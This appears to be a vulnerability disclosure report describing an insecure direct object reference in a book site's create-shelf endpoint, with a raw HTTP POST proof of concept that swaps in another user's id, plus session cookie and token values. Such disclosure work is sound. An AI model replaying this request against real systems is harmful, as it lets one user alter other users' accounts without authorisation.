Description

Insecure direct object references in create-shelf function allows one user to create a shelf on behalf of another.

Proof of Concept

POST /create-shelf HTTP/2
Host: book.dansmonorage.blue
Cookie: csrftoken=ZpIuGbCcxOyhta5bki4N46N7vknEAcpaG3881kcMAfWKBEYKEiLEeSc3Sr4lUTVa; django_language=en-us; sessionid=eehh5ghe5q98xephiv46onn3jixdgx7p
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://book.dansmonorage.blue/user/nhienit2010/books
Content-Type: application/x-www-form-urlencoded
Content-Length: 156
Origin: https://book.dansmonorage.blue
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers

csrfmiddlewaretoken=aCHsAiZx3GMVTl4XkpU7hpChuv6mePSLRg76Vrz767ao1PXwEpBYrb1dRCN3ywoL&user=<others id>&name=from-other-user&description=133123123123&privacy=public

PoC Image

Impact

This vulnerability is capable of allows a user to create new shelves on other users' accounts, affecting the logic of the application.